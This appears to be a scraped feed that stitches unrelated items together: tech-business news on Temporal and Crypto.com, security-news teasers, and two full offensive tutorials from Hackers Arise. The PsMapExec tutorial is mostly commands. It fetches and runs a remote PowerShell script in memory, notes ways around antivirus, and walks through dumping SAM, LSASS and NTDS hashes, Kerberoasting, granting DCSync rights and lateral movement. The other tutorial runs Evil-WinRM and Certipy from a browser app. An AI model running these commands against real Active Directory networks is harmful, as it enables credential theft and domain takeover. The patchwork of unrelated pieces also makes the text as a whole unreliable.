Critical PHP flaws forced European government websites offline. Learn which PHP versions need patches and what IT teams should do.
The post EU Website Outages Follow Critical PHP Flaws: What IT Teams Should Know appeared first on TechRepublic.
Critical PHP flaws forced European government websites offline. Learn which PHP versions need patches and what IT teams should do.
The post EU Website Outages Follow Critical PHP Flaws: What IT Teams Should Know appeared first on TechRepublic.
Bellevue, Wash.-based Temporal is expanding its security capabilities for AI agents following a $550 million funding round last month that valued the enterprise infrastructure company at $12.55 billion.
In an announcement Tuesday, Temporal revealed that team members from Oso, a New York-based startup specializing in application authorization, are joining the company to integrate access controls directly into Temporal’s platform. Meanwhile, holding company Tiny acquired Oso’s software product and customer base.
The move addresses a growing challenge for enterprise tech teams: while generative AI models handle reasoning, autonomous agents must interact with internal databases, execute multi-step workflows, and call external application programming interfaces without breaching security boundaries.
“AI safety doesn’t stop at the model,” Temporal VP of product Preeti Somal said in the release. “It extends into the applications where agents act, which is where access to systems and crucial data comes into play.”
Temporal’s primary technology, known as “durable execution,” maintains application state and execution history across system failures and network timeouts. By adding Oso’s security frameworks to this underlying engine, Temporal aims to ensure an agent’s permissions and human approvals remain intact, preventing agents from bypassing controls or repeating rejected actions.
Temporal said the addition of the Oso team will accelerate security features currently in development, with existing platform operations remaining unchanged.
“Our goal is practical: to help developers put agents to work with appropriate access and with guardrails their companies control,” said Somal. “In practice, that means asking, for each action an agent takes, who it is acting for and what that person is allowed to do, and getting the same answer every time the work is retried.”
In a press release, Oso founder Graham Neray said:
“What makes agents valuable is the same thing that makes them dangerous – access to real systems and data. Temporal already powers agents in applications like Cursor and OpenAI Codex, and unlocking their full potential requires the right security controls. We’re joining Temporal to accelerate its work on agent authorization, giving developers more precise control over what agents can access and do.”
Co-founded in 2019 by Amazon and Microsoft veterans Samar Abbas and Maxim Fateev, Temporal provides open-source orchestration tools used by companies including OpenAI, NVIDIA, Netflix, Snap and JPMorgan Chase. The company recently surpassed $250 million in annualized revenue run rate, growing more than 200% year-over-year.
It employed about 570 people prior to the Oso deal, roughly double from a year ago, with 89 in the Seattle area. The company is fully remote. Its Bellevue office, previously occupied by OpenAI, is used mainly for meetings rather than daily work. The company recently rose to the #1 spot on the GeekWire 200, the list of the fast-growing privately-held tech startups in the Pacific Northwest.
Crypto.com is adding a more professional trading interface without forcing users to move their accounts to another venue.
The exchange announced an integration with Insilico Terminal on October 6, allowing users to connect their Crypto.com Exchange account directly to Insilico’s trading platform.
That gives traders access to execution tools usually associated with specialist terminals while keeping the actual account and liquidity on Crypto.com.
Insilico supports tools including time-weighted average price orders, scale orders, depth-of-market views, automated sizing, programmable hotkeys and one-click strategies.
Those features matter most to active traders.
A simple market order may be enough for a small position, but larger traders often want to split execution, manage slippage or place orders according to a more structured plan.
The integration effectively separates the exchange from the interface.
Crypto.com provides the account, spot and derivatives markets and settlement infrastructure. Insilico provides a more specialized layer for interacting with them.
Professional interfaces can improve how a trader executes a strategy.
They do not improve the strategy itself.
That distinction becomes especially important in derivatives, where a sophisticated order type can still lose money quickly if the underlying position is wrong or overleveraged.
The partnership is therefore best understood as infrastructure rather than a promise of better returns.
For Crypto.com, the attraction is clear.
Institutional and high-frequency traders often choose venues based not only on fees and liquidity but also on the quality of APIs and execution tools available around the exchange.
Offering direct access through Insilico gives the platform another way to compete for that flow.
The broader trend is also notable.
Crypto trading is beginning to look more modular, with traders using one venue for liquidity, another piece of software for execution and separate providers for custody or analytics.
Crypto.com and Insilico are leaning into that model rather than assuming every serious trader wants to live entirely inside one exchange interface.
This article was written by the News Desk and edited by Samuel Rae.
Welcome back, pentesters!
Most of you are used to working with tools on your Linux machine. A lot of these tools are built for it. WSL exists, but some of them can also run right inside your Chrome browser. NXC, SharpHound, LDAP-shell, Evil-WinRM and five more are bundled into one signed IWA with multi-protocol support.
Before we go any further, don’t use these tools against systems you’re not authorized to test, and don’t use your daily Chrome browser for this either.
Let’s take a closer look at the bundle and see how it works.
We’ll follow the manual on the website. The setup is quick and just needs a few adjustments to Chrome. The first step is enabling Chrome flags. Paste each of these links and change the status.
Then relaunch Chrome and open web-dev. Recent Chrome updates moved this from web-app-internals.
Here we install a new tool. Paste this link:
Loginhttps://iwa-tools.pkilla.pw/iwa/update.jsonChrome will fetch the version. Press Install. In apps, you’ll see the iwa-tools console appear. That’s what you need to open.
The first thing to do is list the help menu, which has all the commands you can run. Each command has its own help menu with the syntax.
iwa > help
iwa > command -h Let’s do a quick port scan and find out what’s open on our Windows machine in the lab.
iwa > portscan IP 88,389,445,5985,9389 --timeout 2000If Kerberos and LDAP are open, that means this host is a domain controller. We also have WinRM open. It may give us remote access on the DC with a valid admin account.
iwa > evil-winrm -H IP -u user -p passwordLet’s list the DNS zones that our domain has available.
iwa > adidns -H IP -u user -d domain -p password --auth kerberos --tls --listFinally, let’s see if we can escalate our privileges with ADCS. Certipy is used here.
iwa > certipy find -H IP -u user -d domain -p password --tls -enabled If you get the same results showing ESC1 is vulnerable, that’s a quick win. There are plenty of write-ups out there on abusing it to get domain admin privileges in the tested domain.
Creativity has always been one of the most important skills for hackers. Turns out our favorite tools can run inside a browser and reach systems locally. You might still prefer the classic way, which is totally fine, but it’s good to know they work just as well from a browser tab.
If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.
The post Living off The Browser: Running Popular Hacking Tools Inside Chrome first appeared on Hackers Arise.
When AI Breaks Out of the Sandbox What Happens When AI Escapes? AI assistants are gaining unprecedented access to the inner workings of businesses, but that trust comes with one...
The post Innovator Spotlight: Rubrik Zero Labs appeared first on Cyber Defense Magazine.
Welcome back, pentesters!
Over the past few months, we’ve been covering different ways to use PowerShell to survive, wreck and hack systems. We’ve also covered different scripts stored in our repository for you to use. All of them come in handy during pentests.
Today we want to cover another tool called PsMapExec.
It was developed by The-Viper-One and inspired by CrackMapExec/NetExec. PsMapExec doesn’t have identical features, but it’s got some stealth since it can load directly into memory without ever touching disk. It uses the current session to execute commands, so you don’t always need to know the victim’s password.
The script’s been around for a while but hasn’t gotten much attention, which is one of the reasons we decided to cover it here. Like most publicly available offensive tools, it’ll get flagged by AV if you load it directly. Sometimes hackers rewrite scripts, keeping the core functions intact, just to slip past the AV. On the other hand, finding a machine with no active antivirus isn’t always easy, but it’s almost always possible.
It’s best to execute the script directly in memory:
PS > IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")Now we can start working with it.
One of the first things you do on a compromised host is dump hashes. There are two kinds. SAM gives you local user account hashes, while LSASS holds the hashes of all connected users.
To dump local accounts from a single machine:
PS > PsMapExec smb -Targets MANAGER-1 -Module SAM -ShowOutputTo dump local accounts from all machines in a domain:
PS > PsMapExec smb -Targets all -Module SAM -ShowOutputThe output is clean and only includes valid local accounts. But keep in mind, the less noise you make the better.
LSASS credentials get stored temporarily and hold domain user accounts you need to test Active Directory. In some organizations, critical users may belong to the Protected Users Group. That prevents their credentials from being cached in memory. It’s not something you see everywhere, but it’s worth noting.
To dump LSASS locally using an elevated shell:
PS > PsMapExec smb -Targets “localhost” -Module “LogonPasswords” -ShowOutputIf the current user doesn’t have permission, you need add admin credentials:
PS > PsMapExec smb -Targets “DC” -Username “user” -Password “password” -Module “LogonPasswords” -ShowOutputYou can also dump LSASS on a remote host, as you can see above.
Every network is different. Some companies segment it to prevent lateral movement. That adds complexity. In that case, you need to pivot. A pivot host will either have the network interface you need or be able to ping hosts on another subnet.
To view network interfaces on all domain machines:
PS > PsMapExec SMB -Target all -Username “user” -Password “password” -Command “ipconfig” -Domain “sekvoya.local”To query a single machine:
PS > PsMapExec SMB -Target “DC” -Username “user” -Password “password” -Command “ipconfig” -Domain “sekvoya.local”You can execute other commands in the same way. When you find the host you need, enable WinRM on it:
PS > PsMapExec SMB -Target “MANAGER-1” -Username “user” -Password “password” -Command “winrm quickconfig -q” -Domain “sekvoya.local”WinRM is often used for lateral movement.
Another module is Kerbdump. It dumps Kerberos tickets from remote hosts and those tickets can be used for Pass the Ticket attacks. Some domains disable NTLM for security reasons and that’s when you’ll need these Kerberos tickets instead. Kerberos traffic is a normal and frequent part of AD traffic, so if you’ve got a choice between NTLM and Kerberos, go with Kerberos.
PS > PsMapExec -Method smb -Targets DC -Username “user” -Password “password” -Module “KerbDump” -ShowOutputThe script parses the output and assigns these tickets to variables that you can use for lateral movement.
Kerberoasting is a different kind of attack. Unlike KerbDump, it doesn’t give you reusable tickets, these need to be cracked to recover the password. Every once in a while you’ll find domain admins or service accounts with an SPN assigned to them. That SPN is what makes them vulnerable to Kerberoasting. Sometimes hackers intentionally assign an SPN to a user just to crack their password, but that requires privileges. Kerberoasting itself doesn’t, so you can get a hashed admin password using just a regular low privileged domain user.
Set an SPN for a user:
PS > PsMapExec ldap -Targets DC -Module AddSPN -TargetDN “CN=username,DC=SEKVOYA,DC=LOCAL”Then kerberoast that user:
PS > PsMapExec kerberoast -Target “DC” -Username “user” -Password “password” -Option “kerberoast:adm_ivanov” -ShowOutputKerberos tickets are encrypted using special encryption keys and you can extract those keys to decrypt or even forge tickets. That can be useful for persistence and lateral movement.
PS > PsMapExec wmi -Targets all -Module ekeys -ShowOutputThis attack exploits how AD machines sync their clocks using the Network Time Protocol (NTP). Hackers can get the hashes for computer accounts this way.
Computer passwords are big strings of random characters, you can’t really crack them, unless the password matches the computer name. That happens when a computer’s configured as a pre-Windows 2000 computer. In that case, the password is a lowercase computer name without the trailing $. Otherwise, passwords are randomly generated.
This attack doesn’t really happen that often, but some computer accounts may have privileges over other objects in Active Directory that your user doesn’t have, so compromising them makes sense. You’ll see this more in bigger companies.
PS > PsMapExec ldap -Targets DC -Module timeroast -ShowOutputWith domain admin privileges, you can turn a domain user into a domain computer, get the hash and then revert the change. That’s a very stealthy way to get crackable hashes. We covered this attack in our article.
Some users just store credentials in text files on their Desktop. The Files module will find non-default files within user directories.
PS > PsMapExec wmi -Targets all -Module Files -ShowOutputHackers make mistakes and defenders take measures to evict them. Once credentials get changed, there’s not much you can do, unless you have ACL persistence.
You’ll often see DCSync privileges granted as one of them. With a DCSync attack, your computer impersonates a domain controller and requests password hashes from the domain. Another common one is granting GenericAll over AdminSDHolder to a user or computer. That lets you add new members to Domain Admins and change the passwords of its members.
Assign DCSync privileges:
PS > PsMapExec ldap -Target DC -Module Elevate -TargetDN “CN=username,DC=SEKVOYA,DC=LOCAL”The NTDS dump is the final stage once domain admin privileges are obtained. PsMapExec will get the NTDS.dit and extract all NTLM hashes from it.
PS > PsMapExec SMB -Targets “DC” -Username “user” -Password “password” -Module NTDS -ShowOutputNTDS has all accounts that have existed in the domain.
PsMapExec is a great tool if you’re into hacking with PowerShell. It’s practical and has some features NetExec doesn’t. We’ve only covered some of them here, so give it a try and see what else it has under the hood.
Want to become a Powershell expert? Join our Powershell for Hackers training.
The post Powershell for Hackers, Part 9: Hacking with PsMapExec first appeared on Hackers Arise.
HKCERT Bulletin Overview On August 24, 2026, the Hong Kong Computer Emergency Response Team Coordination Center (HKCERT) published security notice S26-0824-01, warning businesses of a number of Zimbra Collaboration Suite...
The post HKCERT Issues High-Risk Advisory for Zimbra Collaboration Suite Flaws appeared first on Cyber Defense Magazine.
The Vulnerability Apple fixed a major security vulnerability in their image handling framework for both desktop and mobile devices on August 18, 2026. The vulnerability, which is tracked as CVE-2026-65346,...
The post Dangerous Apple Bug Lets Images Execute Malicious Code appeared first on Cyber Defense Magazine.
A public proof-of-concept for the vBulletin RCE vulnerability CVE-2026-61511 is now live. Here's how the eval() injection works and who still needs to patch.
Public Exploit Lands for vBulletin’s Pre-Auth RCE, CVE-2026-61511 on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.
WordPress 6.9.5 and 7.0.2 fix wp2shell, a core REST API bug chaining route confusion and SQL injection into unauthenticated remote code execution.
wp2shell: WordPress Patches a Pre-Auth RCE That Needed No Plugins on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.
A three-line SVG gave XBOW SYSTEM access on Bing's servers through a default ImageMagick setting. Here's the exploit chain and a checklist for anyone running a similar image pipeline.
How the Bing Images RCE Flaws Actually Worked, and How to Check Your Own Pipeline on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.
A practical checklist for the Fastjson RCE vulnerability (CVE-2026-16723): how the exploit chain works, four questions to answer this week, and how to mitigate it before a patch exists.
How the Fastjson RCE Vulnerability Actually Works, and How to Check You’re Exposed on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.
A security researcher writing under the name tokay0 disclosed a flaw that could allow an attacker to access and control more than 600,000 deployed Shark model robot vacuums.
The post Robot Vacuum Flaw Could Give Hackers Control Over Millions of Home Devices appeared first on The Security Ledger with Paul F. Roberts.
The critical libssh2 CVE-2026-55200 flaw inverts SSH security: the remote server attacks the connecting client, no credentials needed. A public PoC is out and the official patched release has not shipped.
libssh2 CVE-2026-55200 Shows Why Outbound SSH Is an Attack Surface on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.
